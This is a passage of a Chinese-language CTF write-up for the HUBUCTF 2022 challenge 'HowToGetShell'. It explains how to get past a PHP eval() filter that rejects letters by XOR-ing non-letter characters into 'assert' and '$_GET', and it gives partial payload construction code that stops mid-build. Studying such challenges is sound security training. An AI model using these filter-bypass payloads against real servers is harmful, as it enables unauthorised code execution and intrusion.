[HUBUCTF 2022 新生赛]HowToGetShell题解

老早以前遇到过无字母rce，但是现在忘记得差不多了。现在以这道题来回温一下rce的解决方法。

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
   
    die("invalid input!");
}
eval($mess);

这道题只过滤了字母，算是一道简单的rce了。

1.异或^

如果学过计算机组成原理的小伙伴可能对这个就不陌生了。异或的规则是相同则为0，不同则为1。1^1=0，1^0=1，0^0=0，0^1=1。这里的异或是指的php的按位异或，在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符，将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E，E对应的ASCII码值为01000101，我选择了>和{ 进行异或得到E。
这个选法不是固定的，只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下：

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1